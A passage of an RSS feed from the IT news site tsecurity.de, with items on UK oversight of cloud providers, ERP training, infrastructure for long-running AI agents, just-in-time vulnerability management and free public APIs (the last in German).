self-selected, skews mid-market, and leans toward earlier-stage adopters rather than the largest hyperscale operators. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with buyer-credible purchasing authority, across Technology/Software, Healthcare/Life Sciences, Financial Services, Retail/E-commerce, and other industries.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[UK Puts AWS, Azure, Google Cloud, and Oracle Under Direct Financial Oversight]]></title>
<description><![CDATA[The UK has begun direct oversight of systemic cloud services used by financial firms, while banks remain responsible for their own operational resilience, contracts, and recovery planning.
The post UK Puts AWS, Azure, Google Cloud, and Oracle Under Direct Financial Oversight appeared first on Tec...]]></description>
<link>https://tsecurity.de/de/3673935/it-nachrichten/uk-puts-aws-azure-google-cloud-and-oracle-under-direct-financial-oversight/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673935/it-nachrichten/uk-puts-aws-azure-google-cloud-and-oracle-under-direct-financial-oversight/</guid>
<pubDate>Thu, 16 Jul 2026 17:18:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The UK has begun direct oversight of systemic cloud services used by financial firms, while banks remain responsible for their own operational resilience, contracts, and recovery planning.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-cloud-oversight-banks-emea-uk/">UK Puts AWS, Azure, Google Cloud, and Oracle Under Direct Financial Oversight</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why your ERP training program is failing your employees]]></title>
<description><![CDATA[I have sat in a lot of ERP training sessions over the years. Some were excellent. Most were not. And the ones that failed share a pattern I have come to recognize almost immediately: a vendor trainer at the front of the room, working through the same slide deck they use for every client, at the s...]]></description>
<link>https://tsecurity.de/de/3673041/it-security-nachrichten/why-your-erp-training-program-is-failing-your-employees/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673041/it-security-nachrichten/why-your-erp-training-program-is-failing-your-employees/</guid>
<pubDate>Thu, 16 Jul 2026 12:09:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I have sat in a lot of ERP training sessions over the years. Some were excellent. Most were not. And the ones that failed share a pattern I have come to recognize almost immediately: a vendor trainer at the front of the room, working through the same slide deck they use for every client, at the same pace, with the same examples, regardless of who is sitting in the chairs.</p>



<p class="wp-block-paragraph">In one room, you might have a warehouse supervisor who has never used enterprise software, a finance manager with 20 years of system experience and a department coordinator somewhere in between. The vendor trainer covers the same material with all of them. Everyone gets a certificate at the end. Almost nobody is prepared to do their job in the new system when go-live arrives.</p>



<p class="wp-block-paragraph">I want to be clear about something before I go further. In my previous CIO article, I wrote about why organizations should <a href="https://www.cio.com/article/4181808/stop-blaming-your-erp-vendor.html">stop blaming their ERP vendor when implementations fail</a>. That argument still stands. But the training problem is a choice the organization makes. <a href="https://ecosire.com/blog/erp-user-training-best-practices-guide">Most organizations spend less than 5% of their total ERP project budget on training</a> and then hand that underfunded responsibility to the vendor. The vendor delivers what they were contracted to deliver. The gap between what got delivered and what the organization actually needed is not the vendor’s fault. It is a decision the organization made, often without fully understanding its consequences.</p>



<p class="wp-block-paragraph">After 25 years of leading enterprise software implementations and based on the doctoral research I conducted studying ERP implementations in small businesses, I am convinced that the organizations that get training right share one thing in common: they build the expertise internally rather than importing it.</p>



<h2 class="wp-block-heading">Why vendor training falls short</h2>



<p class="wp-block-paragraph">Vendor trainers know the software. That is not in question. What they do not know is your business: your processes, your workflows, your data, your terminology, your culture and the specific ways your organization will use the system once it is live.</p>



<p class="wp-block-paragraph">That gap matters more than most organizations realize. <a href="https://www.prosci.com/blog/why-do-erp-implementations-fail">Research consistently shows that inadequate training is one of the primary drivers of ERP implementation failure</a>, not because training did not happen, but because the training that happened did not connect the system to the work. Employees left those sessions knowing what buttons to click without understanding why those buttons mattered to their specific job.</p>



<p class="wp-block-paragraph">Generic training has a structural problem: it is optimized for coverage, not relevance. The goal is to ensure every employee has seen every feature. The result is that employees spend significant time learning functionality that does not apply to their role, while the functionality that does apply gets the same shallow treatment as everything else.</p>



<p class="wp-block-paragraph">A finance manager sitting through a session on shop floor production tracking is not learning anything she will use. A warehouse supervisor learning about financial journal entries is in the same position. Both leave the session technically trained. Neither leaves prepared.</p>



<p class="wp-block-paragraph">There is also a timing problem. Vendor training typically happens in a compressed window before go-live, delivered as a series of sessions rather than a progression. Research on learning retention suggests that training delivered weeks before it is needed, without reinforcement or practice, is largely forgotten by the time employees need to apply it. The result is a go-live day where everyone attended training and almost nobody feels ready.</p>



<h2 class="wp-block-heading">What internal expertise looks like in practice</h2>



<p class="wp-block-paragraph">In my doctoral research, I interviewed six IT managers from small businesses who had each led successful ERP implementations. Five of the six identified role-based, department-specific training as essential to their outcome. What distinguished their approach was not that they spent more on training. It was that they built the training capability inside the organization rather than contracting it out.</p>



<p class="wp-block-paragraph">The approach that worked most consistently was identifying one person from each affected department early in the implementation, before configuration even began. That person became the departmental expert: involved in design decisions, consulted on how their team’s processes mapped to the new system and ultimately responsible for either delivering training to their colleagues or co-leading it alongside a formal trainer.</p>



<p class="wp-block-paragraph">This is sometimes called a super user model, and the research supports its effectiveness. But what I observed in the implementations that worked goes beyond the mechanics of the model. The departmental expert brought something a vendor trainer cannot: credibility. When the warehouse supervisor learns the receiving process from someone who has worked in that warehouse, who understands the exceptions and the edge cases and the way things truly flow on a busy day, the training resonates in a way that a generic session never can.</p>



<p class="wp-block-paragraph">There is also an ownership dimension that is easy to underestimate. <a href="https://www.workday.com/en-us/perspectives/hr/erp-training-tips-best-practices.html">Peer-based training led by internal super users helps employees connect system steps to their daily responsibilities</a> in ways that outsider-led training rarely achieves. The departmental expert has skin in the game. They are going to use this system too. That shared stake changes the dynamic in the training room and sustains the support relationship long after the formal training is over.</p>



<p class="wp-block-paragraph">I have seen this play out in both directions. In implementations where the organization invested in building internal expertise early, go-live day was hard but manageable. Questions went to the departmental expert, who could answer them in the language of the department. Issues surfaced quickly because someone in each area was watching for them. Adoption stabilized faster because the support was embedded in the team rather than accessible only through a help desk ticket.</p>



<p class="wp-block-paragraph">In implementations where training was handed entirely to the vendor, the pattern was different. Go-live revealed gaps that training had not covered. The vendor’s support engagement was winding down. The organization had no internal expertise to draw on. Employees reverted to workarounds. The system went live but never fully took hold.</p>



<h2 class="wp-block-heading">How to build internal training capability before go-live</h2>



<p class="wp-block-paragraph">The organizations that got this right did not wait until the training phase to think about training. They started building internal expertise at the beginning of the project. Here is what that looked like in practice.</p>



<h3 class="wp-block-heading">Identify departmental experts early</h3>



<p class="wp-block-paragraph">Select one person from each affected department before configuration begins. Choose people who are respected by their colleagues, have a solid understanding of their department’s processes and are willing to invest extra time in the project. This is not a small ask. Make sure they and their managers understand the commitment and that the contribution is recognized.</p>



<h3 class="wp-block-heading">Involve them in the implementation, not just the training</h3>



<p class="wp-block-paragraph">The departmental expert should participate in process design sessions, configuration reviews and user acceptance testing. By the time training begins, they should understand the system deeply enough to explain not just how it works but why specific decisions were made. That context is what makes internal training credible.</p>



<h3 class="wp-block-heading">Design training around the job, not the system</h3>



<p class="wp-block-paragraph">Training content should be organized around realistic work scenarios specific to each department, not around the system’s feature set. The finance team trains on how to process their transactions in the new system. The warehouse team trains on how to manage their receipts and inventory. Connect every step to the work employees actually do.</p>



<h3 class="wp-block-heading">Plan for post-go-live support, not just pre-go-live training</h3>



<p class="wp-block-paragraph">The weeks immediately after go-live are when training becomes real and when the gaps in pre-go-live preparation surface. The departmental expert should have a defined support role in that period: available to their colleagues, connected to the project team and empowered to escalate issues that need resolution. This is not a minor detail. It is where the investment in internal expertise pays its most important dividends.</p>



<p class="wp-block-paragraph">None of this requires a large budget or a dedicated training function. It requires early decisions about who will own the training relationship inside each department and the organizational commitment to support those people through the implementation, rather than treating training as a final phase activity.</p>



<p class="wp-block-paragraph">The vendor knows the software. That knowledge is valuable and should not be wasted. But your people know your business, your processes and the way work flows on any given day. The question is not whether to use your vendor’s expertise. It is whether you are also building the internal expertise that turns a trained workforce into a prepared one. The organization that does both will not just go live. It will thrive.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New agentic compute patterns]]></title>
<description><![CDATA[For a decade, Kubernetes was the right answer. It organized containers, scaled services horizontally and gave platform teams a shared vocabulary for running software in production. It abstracted away enough of the underlying complexity that engineers could stop thinking about servers and start th...]]></description>
<link>https://tsecurity.de/de/3672922/ai-nachrichten/new-agentic-compute-patterns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672922/ai-nachrichten/new-agentic-compute-patterns/</guid>
<pubDate>Thu, 16 Jul 2026 11:19:03 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For a decade, Kubernetes was the right answer. It organized containers, scaled services horizontally and gave platform teams a shared vocabulary for running software in production. It abstracted away enough of the underlying complexity that engineers could stop thinking about servers and start thinking about services. Most cloud-native infrastructure today is built on top of it, directly or in spirit, and EKS made that model the default for the majority of enterprise teams running workloads on AWS.</p>



<p class="wp-block-paragraph">The workload that defined that era was the stateless HTTP request, fast in, fast out, disposable. A user action triggers a request, the request hits a service, the service returns a response and the container is done. Kubernetes was optimized for that pattern down to the scheduler internals: Bin-pack containers onto nodes, autoscale on CPU and memory, evict and reschedule when something goes wrong. The whole system is tuned around the assumption that individual units of work are short, stateless and interchangeable.</p>



<p class="wp-block-paragraph">That assumption no longer holds for the workloads that matter most right now.</p>



<h2 class="wp-block-heading">The agent workload is structurally different</h2>



<p class="wp-block-paragraph">Agents are long-running, stateful processes. They reason across time, call external tools, spawn subprocesses, write and execute code, and make decisions that depend on what happened five steps earlier in the same task. A single-agent workflow might run for minutes or hours, touching a dozen external systems and generating intermediate outputs that subsequent steps depend on. The compute layer for that kind of work needs to do things the old model was never asked to do. That is the new pattern: Execution infrastructure designed around agent semantics rather than request semantics.</p>



<p class="wp-block-paragraph">The Kubernetes community itself has acknowledged this mismatch. In March 2026, Kubernetes SIG Apps published an<a href="https://url.usb.m.mimecastprotect.com/s/U22qCA8LmLh7yY0jIGfGfGdvGo?domain=kubernetes.io/" target="_blank" rel="noreferrer noopener"> introduction to Agent Sandbox</a>, a new CRD-based abstraction designed specifically for singleton, stateful agent workloads. The framing is direct: The ecosystem is moving from short-lived, isolated tasks to deploying multiple, coordinated AI agents that run continuously, and mapping those workloads to traditional Kubernetes primitives requires an entirely new abstraction. The fact that the Kubernetes maintainers built a dedicated primitive for this, rather than recommending teams compose one from existing resources, is itself the clearest signal that agent execution does not fit the old model.</p>



<h2 class="wp-block-heading">What agent execution actually requires</h2>



<p class="wp-block-paragraph">Concretely, it requires four things. First, isolated execution environments that provision in milliseconds, not minutes, so each agent task gets its own sandbox for code execution and tool calls without blocking the reasoning loop. The difference between a two-second environment and a two-minute environment is not a performance optimization; it determines whether the architecture is viable at all. Second, durable state management across the full task lifecycle, so an agent can pause, hand off or resume without re-initializing from scratch and burning tokens to reconstruct context it already built. Third, coordination primitives for multi-agent work: The ability to spawn subagents, pass structured outputs between them and track task dependencies across a graph of concurrent processes. Production agent systems are rarely single agents; they are pipelines of specialized agents with handoffs that need to be reliable and inspectable. Fourth, credentials and secrets management that travel with the execution context, so agents can authenticate to external services securely without exposing credentials in the task definition, logs or the environment variables of a shared container.</p>



<h2 class="wp-block-heading">The mismatch shows up fast in production</h2>



<p class="wp-block-paragraph">Kubernetes and EKS expose the mismatch quickly in practice. Pod eviction terminates an agent mid-task with no clean recovery path. Autoscaling reads CPU utilization as the load signal, but an agent holding a long inference connection looks idle to the scheduler even when it is doing the most consequential work in the pipeline. Provisioning a new environment takes 45 seconds to two minutes on a well-tuned cluster; agent workloads need that in under two seconds or the reasoning loop stalls and the user experience degrades visibly. These are not edge cases or misconfigurations. They are the normal operating conditions for production agent workloads running on infrastructure that was not designed for them.</p>



<p class="wp-block-paragraph">The utilization data makes the broader cost picture even starker. The<a href="https://url.usb.m.mimecastprotect.com/s/zk-6CB1MnMHEQoqvI6hNf2eRQz?domain=cast.ai/" target="_blank" rel="noreferrer noopener"> 2026 State of Kubernetes Optimization Report</a> from CAST AI, drawn from analysis of over 23,000 production clusters across AWS, Azure and GCP, found average CPU utilization at 8 percent, down from 10 percent the year prior. Memory utilization fell from 23 to 20 percent. CPU overprovisioning jumped from 40 to 69 percent year over year. These numbers reflect clusters running traditional workloads, and the pattern is worsening, not improving, as environments scale. Agent workloads compound this problem further. An agent holding an open inference connection or waiting on a tool call registers as idle to a scheduler that reads CPU and memory as the only meaningful load signals. The infrastructure responds to the wrong metric, overprovisioning capacity for demand it cannot measure, while the actual bottleneck, environment provisioning latency and state continuity, goes unaddressed.</p>



<h2 class="wp-block-heading">Security is not the same problem it was before</h2>



<p class="wp-block-paragraph">Agent workloads change the threat model at the infrastructure level. A compromised stateless service exposes a narrow surface defined by its API contracts. A compromised agent exposes every system it can reach, every credential it holds and every action it is authorized to take on behalf of the user. Agents generate and execute their own code, make non-deterministic tool-call decisions and accumulate context across long-running sessions. Standard container namespacing does not contain that kind of risk. Kernel-level isolation, default-deny network egress, scoped credentials per session and agent-aware observability are not optional hardening steps. They are baseline requirements for running agents in production.</p>



<h2 class="wp-block-heading">What teams that ship agents have already figured out</h2>



<p class="wp-block-paragraph">Some of the clearest evidence for this shift comes not from infrastructure vendors but from product engineering teams running agents at scale on their own code. In late 2025, Ramp’s engineering team published a<a href="https://url.usb.m.mimecastprotect.com/s/Co8bCDwO0Ohg2PpXhAiRfjbcM8?domain=engineering.ramp.com" target="_blank" rel="noreferrer noopener"> detailed account of building Inspect</a>, their internal background coding agent. Each Inspect session runs in a sandboxed VM with a full-stack development environment and deep integrations across their observability, CI, and deployment tooling. The architecture requirements map almost exactly to the four primitives above. Filesystem snapshots keep sessions starting in seconds rather than minutes. Sessions are isolated and stateful. The agent can run tests, review telemetry, query feature flags and visually verify frontend changes in a real browser. And the whole system supports unlimited concurrency, so engineers can spin up ten parallel sessions exploring different approaches to the same problem without contention.</p>



<p class="wp-block-paragraph">The results speak for themselves. Within months of launch, roughly 30 percent of all pull requests merged to Ramp’s frontend and backend repositories were written by Inspect. That level of adoption was not mandated. It happened because the execution environment was fast enough, capable enough and well-integrated enough that the agent was strictly better than a local workflow for a meaningful share of tasks. The key insight from the Ramp case is not about the model. It is about the execution layer. As their team put it, session speed should only be limited by model-provider time-to-first-token; everything else, like cloning and installing, needs to be done before the session starts. That is a statement about infrastructure, not intelligence.</p>



<h2 class="wp-block-heading">The ecosystem is catching up, but defaults are sticky</h2>



<p class="wp-block-paragraph">None of that is a criticism of the tools. Kubernetes solved exactly the problem it was designed for, and it solved it well. The issue is that infrastructure defaults are sticky. Teams inherit them, build on top of them and optimize within their constraints long after the underlying workload has changed. The Kubernetes community’s own response, the<a href="https://url.usb.m.mimecastprotect.com/s/U22qCA8LmLh7yY0jIGfGfGdvGo?domain=kubernetes.io/" target="_blank" rel="noreferrer noopener"> Agent Sandbox project under SIG Apps</a>, validates the thesis that a new abstraction is necessary. The new primitives the community is building include warm pools for near-zero cold starts, lifecycle management for suspending and resuming idle agents without losing state, and pluggable kernel isolation for secure execution of untrusted code. These are not incremental improvements to existing resources. They are net-new abstractions that acknowledge the old model does not stretch to fit.</p>



<p class="wp-block-paragraph">But adoption of purpose-built agent infrastructure remains early. Enterprises building agent pipelines today are largely running a request-oriented orchestration model against an execution-oriented workload, and the mismatch shows up in task failure rates, runaway costs and debugging cycles that have no good tooling because the observability layer was also designed for stateless services.</p>



<h2 class="wp-block-heading">The structural advantage is available now</h2>



<p class="wp-block-paragraph">The infrastructure to close that gap exists now. The prerequisite is recognizing that agent execution is a first-class compute pattern with its own primitives and its own requirements, not a variant of the stateless service model that defined the last decade. Teams that make that shift early will have a meaningful structural advantage. The ones that do not will spend the next two years wondering why their agent systems are unreliable at a scale that should be tractable.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Azure Landing Zones werden zum offiziellen Microsoft-Produkt]]></title>
<description><![CDATA[Die Azure Landing Zone verlässt den rein communitygetriebenen Open-Source-Status und wird mit dedizierter Produkt-Roadmap direkt vom Azure-Migrate-Team übernommen.]]></description>
<link>https://tsecurity.de/de/3672717/it-nachrichten/azure-landing-zones-werden-zum-offiziellen-microsoft-produkt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672717/it-nachrichten/azure-landing-zones-werden-zum-offiziellen-microsoft-produkt/</guid>
<pubDate>Thu, 16 Jul 2026 09:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Die Azure Landing Zone verlässt den rein communitygetriebenen Open-Source-Status und wird mit dedizierter Produkt-Roadmap direkt vom Azure-Migrate-Team übernommen.]]></content:encoded>
</item>
<item>
<title><![CDATA[Flaw surge fuels need for CISOs to rethink vulnerability management]]></title>
<description><![CDATA[Security experts are calling on enterprises to revise their vulnerability management strategies and move towards “just in time” patching in response the increased pace of vulnerability exploitation.



Attackers are turning to AI to increase the rate of vulnerability exploitation and supply chain...]]></description>
<link>https://tsecurity.de/de/3672628/it-security-nachrichten/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672628/it-security-nachrichten/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management/</guid>
<pubDate>Thu, 16 Jul 2026 09:24:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Security experts are calling on enterprises to revise their vulnerability management strategies and move towards “just in time” patching in response the increased pace of vulnerability exploitation.</p>



<p class="wp-block-paragraph">Attackers are <a href="https://www.csoonline.com/article/4181924/ai-worm-prototype-shows-attackers-dont-need-mythos-to-take-over-your-network.html">turning to AI</a> to increase the <a href="https://www.csoonline.com/article/3632268/gen-ai-is-transforming-the-cyber-threat-landscape-by-democratizing-vulnerability-hunting.html">rate of vulnerability exploitation</a> and supply chain compromise so that traditional forms of vulnerability management are no longer keeping pace.</p>



<p class="wp-block-paragraph">Muhammad Yahya Patel, vCISO and cybersecurity advisor for EMEA at managed security services vendor Huntress, recently <a href="https://www.csoonline.com/article/4176086/vulnerabilities-have-become-cyber-attackers-no-1-door-to-the-enterprise.html">told CSO</a> that “organizations need to shift their vulnerability management program to a risk-based, continuous [approach], tied to real-time exploitation intelligence — not scheduled patch cycles that leave exploitation windows wide open for days and weeks.”</p>



<h2 class="wp-block-heading">Wild frontier</h2>



<p class="wp-block-paragraph">Frontier AI tools such as Claude Mythos have <a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html">signaled a structural shift for cybersecurity</a>, readily surfacing vulnerabilities at a huge scale — a development that, as government security assurance organizations such as the UK’s National Cyber Security Centre point out, is likely to lead to a surge in patches.</p>



<p class="wp-block-paragraph">“Most organizations already struggle to fix known issues quickly, so a spike in AI-driven discovery could easily overwhelm teams and widen the gap between finding problems and fixing them,” Andrew Woodford, CTO at network security vendor Titania, tells CSO. “In many ways, this just exposes a problem that’s already there.”</p>



<p class="wp-block-paragraph">Shane Fry, CTO at cybersecurity vendor RunSafe Security, argues that <a href="https://www.csoonline.com/article/3520881/patch-management-a-dull-it-pain-that-wont-go-away.html">patching as a security strategy</a> has been in crisis for years, and AI-accelerated vulnerability discovery has simply pushed it over the edge.</p>



<p class="wp-block-paragraph">Some experts contend that virtual patching — a technique that involves blocking exploit attempts at a security layer rather than fixing vulnerable code — represents a sound mitigation strategy, but Fry has reservations about the approach.</p>



<p class="wp-block-paragraph">“While virtual patching will play a role going forward, its effectiveness is limited and leaves security teams chasing a gap they will never be able to close,” Fry says.</p>



<p class="wp-block-paragraph">Instead, security teams need to shift toward mitigation-first approaches that make it impossible for attackers to exploit bugs in software.</p>



<p class="wp-block-paragraph">“Removing entire classes of exploits upfront takes the heat out of the patch gap, and allows patching to become strategic rather than reactive,” Fry argues.</p>



<h2 class="wp-block-heading">‘Assume Autonomy’</h2>



<p class="wp-block-paragraph">The conventional patch management model was designed around a world where vulnerability discovery happened at human speed: A human researcher finds a flaw, reports it, a CVE gets assigned, vendors ship a fix, enterprises test and deploy it — a process that can take weeks.</p>



<p class="wp-block-paragraph">AI-powered vulnerability discovery blows this model out of the water.</p>



<p class="wp-block-paragraph">“If offensive AI can identify, validate, and exploit vulnerabilities without human authorization, a 43-day median patch time, as noted in Verizon’s DBIR, is the least of your problems,” argues Rik Ferguson, vice president of security intelligence at Forescout. “An AI system doesn’t wait for a proof-of-concept to circulate on GitHub or a CVSS score to land in a dashboard. It finds the flaw, confirms exploitability, and moves.”</p>



<p class="wp-block-paragraph">Ferguson advocates a change of approach toward what he describes as “Assume Autonomy.”</p>



<p class="wp-block-paragraph">“The question is what compensating controls you put in place between discovery and remediation, and how you constrain what an attacker can do with access they’ve already acquired,” Ferguson explains.</p>



<p class="wp-block-paragraph">Just-in-time patching fits in with this philosophy and is a desirable goal but may be difficult to achieve in practice especially for the many enterprises that struggle with asset management.</p>



<p class="wp-block-paragraph">“Just-in-time patching is sound in principle: prioritize and deploy fixes as exploitation intelligence emerges rather than waiting for the scheduled window,” Ferguson says. “But achieving it has some real-world requirements: continuous asset visibility, knowing precisely what you have, where it is, and what its current exposure status is.”</p>



<p class="wp-block-paragraph">For example, Ferguson adds, “you can’t patch just-in-time against a vulnerability in a device you didn’t know was on your network.”</p>



<h2 class="wp-block-heading">Virtual patching</h2>



<p class="wp-block-paragraph">Gunter Ollmann, CTO at pen testing as a service firm Cobalt, notes that just-in-time patching makes sense if and when a patch is available — but that’s not always possible.</p>



<p class="wp-block-paragraph">“The major problem lies in the discovery of new vulnerabilities in code or systems that the business has no rights or capabilities to fix themselves, and they have a dependence upon third parties to develop the fix or patch — and are therefore subject to external SLA [service level agreement] turnarounds,” Ollmann explains.</p>



<p class="wp-block-paragraph">In such cases, enterprises will need to deploy virtual patches capable of blocking or deflecting the exploitation vectors of the vulnerable system.</p>



<p class="wp-block-paragraph">“Businesses are in desperate need of quickly deciphering a new vulnerability and dynamically creating an appropriate blocking rule — or rules — for their layered defenses,” Ollmann says.</p>



<p class="wp-block-paragraph">Virtual patching may mitigate security threats particularly in operational technology (OT) and IoT environments where applying a vendor patch to a running production system risks unplanned downtime or safety system interruption but only serves as a stop gap, Ferguson tells CSO.</p>



<p class="wp-block-paragraph">“A network-layer control that blocks exploitation of a known flaw, while you work through the testing and deployment cycle for the actual fix, is a compensating control,” notes Ferguson, who warns that virtual patches come with multiple drawbacks.</p>



<p class="wp-block-paragraph">“Virtual patches require accurate detection signatures, they don’t remediate the underlying vulnerability, and they can create a false sense of closure that delays proper patching indefinitely,” Ferguson argues. “The risk is that temporary becomes permanent. The underlying vulnerability stays open, and the virtual patch becomes the reason nobody revisits it.”</p>



<h2 class="wp-block-heading">Just-in-time risk reduction</h2>



<p class="wp-block-paragraph">Douglas McKee, director of vulnerability intelligence at Rapid7, advocates what he describes as just-in-time risk reduction rather than just-in-time patching because of the practical difficulties with the latter.</p>



<p class="wp-block-paragraph">“In the real world, especially in OT, medical devices, and business-critical systems, you can’t always patch the second a CVE drops,” McKee argues. “You still need testing, maintenance windows, rollback plans, and someone who actually owns the asset. However, the old monthly scan, report, and remediation cycle will not survive this pace.”</p>



<h2 class="wp-block-heading">Tips for modernizing vulnerability management</h2>



<p class="wp-block-paragraph">The enterprise attack surface has expanded significantly of late, and patch management models haven’t kept up. In response, security leaders’ vulnerability management strategies have to become more of a continuous monitoring function, not a triage and remediation process.</p>



<p class="wp-block-paragraph">Modernizing enterprise approaches to vulnerability management involves “real-time exploitation intelligence integrated into prioritization, compensating controls deployed at discovery rather than at patch release, and visibility across the full asset estate that conventional patch management tools were never designed to cover,” Ferguson says.</p>



<p class="wp-block-paragraph">Rapid7’s McKee stresses that security teams need to separate “known vulnerable” from “actually reachable and exploitable in my environment.”</p>



<p class="wp-block-paragraph">This process can be achieved through a combination of asset inventory, internet exposure mapping, KEV tracking, vulnerability intelligence, ownership, and emergency change paths.</p>



<p class="wp-block-paragraph">“Prioritization based on risk factors like public exposure, known exploitation, automation potential, and technical impact is key,” McKee concludes.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Kostenlose APIs, die Sie kennen sollten]]></title>
<description><![CDATA[Über Schnittstellen lassen sich diverse Datenschätze (anderer) heben.Terelyuk | shutterstock.com



Application Programming Interfaces (APIs) wurden ursprünglich als Mechanismus entwickelt, um Computern zu ermöglichen, untereinander zu kommunizieren. Im Laufe der Zeit haben sie sich jedoch zu ein...]]></description>
<link>https://tsecurity.de/de/3672307/it-security-nachrichten/kostenlose-apis-die-sie-kennen-sollten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672307/it-security-nachrichten/kostenlose-apis-die-sie-kennen-sollten/</guid>
<pubDate>Thu, 16 Jul 2026 06:06:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/11/Terelyuk_shutterstock_2479571595_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Bee Hive 16z9" class="wp-image-4087375" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Über Schnittstellen lassen sich diverse Datenschätze (anderer) heben.</figcaption></figure><p class="imageCredit">Terelyuk | shutterstock.com</p></div>



<p class="wp-block-paragraph">Application Programming Interfaces (<a href="https://www.computerwoche.de/article/2790525/was-sie-ueber-application-programming-interfaces-wissen-muessen.html" target="_blank">APIs</a>) wurden ursprünglich als Mechanismus entwickelt, um Computern zu ermöglichen, untereinander zu kommunizieren. Im Laufe der Zeit haben sie sich jedoch zu einem eigenständigen Ökosystem entwickelt. Inzwischen steht für jeden erdenklichen Entwicklungszweck eine nützliche API bereit. Einige sind lediglich dazu da, mit Softwarelösungen zu interagieren – etwa E-Mail-Clients, Spreadsheets oder KI-Systemen. Andere sind Informationsquelllen, die Karten, Wegbeschreibungen oder anderen Content liefern. Diese APIs ersparen es Entwicklern, <a href="https://www.computerwoche.de/article/3497295/datenbank-how-to-fur-app-entwickler.html" target="_blank">eigene Datenbanken</a> von Grund auf neu aufbauen zu müssen.</p>



<p class="wp-block-paragraph">In diesem Artikel liefern wir Ihnen eine kleine, aber feine Auswahl nutzwertiger, kostenloser APIs.</p>



<h2 class="wp-block-heading"><a href="https://www.pexels.com/api/documentation/" target="_blank" rel="noreferrer noopener">Pexels</a></h2>



<p class="wp-block-paragraph">Ein schönes Bild kann eine Webseite direkt aufwerten. Mit dieser API bekommen Sie Zugang zu einer größten Online-Sammlungen kostenloser Stockfotos und -videos, die Sie für Ihre Apps und Webseiten nutzen können. Der einzige “Haken”: Sie müssen die Copyright-Vermerke korrekt angeben. Ein guter Deal.</p>



<h2 class="wp-block-heading"><a href="https://github.com/HackerNews/API" target="_blank" rel="noreferrer noopener">Hacker News</a></h2>



<p class="wp-block-paragraph">Um sich in Sachen Innovationen auf dem Laufenden zu halten oder einfach um neue Ideen aufzutun, ist Hacker News eine der ersten Adressen. Über die zugehörige API der Webseite können Sie auf die Artikel und Diskussionsforen zugreifen, ohne dazu das Internet zu durchforsten.</p>



<h2 class="wp-block-heading"><a href="https://bund.dev/apis" target="_blank" rel="noreferrer noopener">Regierungs-Repositories</a></h2>



<p class="wp-block-paragraph">Die meisten Städte und Länder bieten eigene, frei zugängliche APIs an, die Zugriff auf die Daten diverse Regierungsinstitutionen bieten. Über das deutsche bundDEV-Portal erhalten Sie unter anderem Zugriff auf die Schnittstellen und öffentlich zugänglichen Daten von:</p>



<ul class="wp-block-list">
<li>der Bundesagentur für Arbeit,</li>



<li>dem Bundestag und Bundesrat,</li>



<li>dem statistischen Bundesamt,</li>



<li>dem deutschen Wetterdienst, oder</li>



<li>der Bundesnetzagentur.</li>
</ul>



<h2 class="wp-block-heading"><a href="https://www.newscatcherapi.com/" target="_blank" rel="noreferrer noopener">Newscatcher</a></h2>



